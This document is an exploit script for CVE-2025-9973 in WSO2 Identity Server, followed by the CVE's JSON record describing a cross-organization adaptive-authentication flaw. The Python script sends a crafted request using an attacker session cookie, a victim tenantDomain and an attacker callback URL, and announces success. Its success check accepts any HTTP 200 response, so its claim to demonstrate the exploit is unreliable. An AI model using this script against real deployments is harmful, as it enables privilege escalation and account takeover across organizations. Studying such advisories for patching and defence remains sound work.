CVE-2025-9973

import requests # Proof of Concept for CVE-2025-9973 # This script demonstrates how a malicious admin in Org A can trigger # adaptive authentication logic in Org B due to missing context validation. target_url = "https://wso2-server.example.com/commonauth" attacker_org = "attacker-org.com" target_org = "victim-org.com" # The session cookie from the attacker's high-privileged account in Org A session_cookie = "JSESSIONID=ATTACKER_SESSION_ID;" headers = { "Host": "wso2-server.example.com", "Content-Type": "application/x-www-form-urlencoded", "Cookie": session_cookie } # Payload exploiting the context confusion # The application parameter points to a Service Provider configured in the attacker's org # But the request is crafted to execute in the context of the target org data = { "application": "malicious_sp_in_attacker_org", "forceAuth": "false", "passiveAuth": "false", "tenantDomain": target_org, # Vulnerability: System executes logic for this domain "callbackURL": f"https://{attacker_org}/callback" } print(f"[*] Sending malicious request to trigger auth flow in {target_org}...") response = requests.post(target_url, headers=headers, data=data, verify=False) if response.status_code == 200 or "authentication" in response.text.lower(): print(f"[+] Exploit successful! Logic triggered for {target_org}") else: print(f"[-] Exploit failed or logic already triggered.")

{"cve": {"id": "CVE-2025-9973", "sourceIdentifier": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "published": "2026-05-11T12:16:11.050", "lastModified": "2026-05-11T16:17:29.377", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to not validating the organization context when executing adaptive authentication flows, the WSO2 Identity Server allows adaptive authentication logic to be triggered on unintended organizations. A malicious actor with privileges to configure adaptive authentication within one organization can leverage this functionality to execute authentication logic on other organizations and sub-organizations.\n\nThis flaw allows bypassing authorization boundaries between organizations, leading to unauthorized access to critical operations and user accounts in other organizations. When adaptive authentication is enabled in a multi-organization deployment, a malicious actor with privileges to configure adaptive authentication in one organization could exploit this feature to perform critical operations in other organizations without authorization. This may result in privilege escalation, unauthorized access to resources, and potential account takeover across organizations."}], "metrics": {"cvssMetricV31": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2025-4530/", "source": "ed10eef1-636d-4fbe-9993-6890dfa878f8"}]}}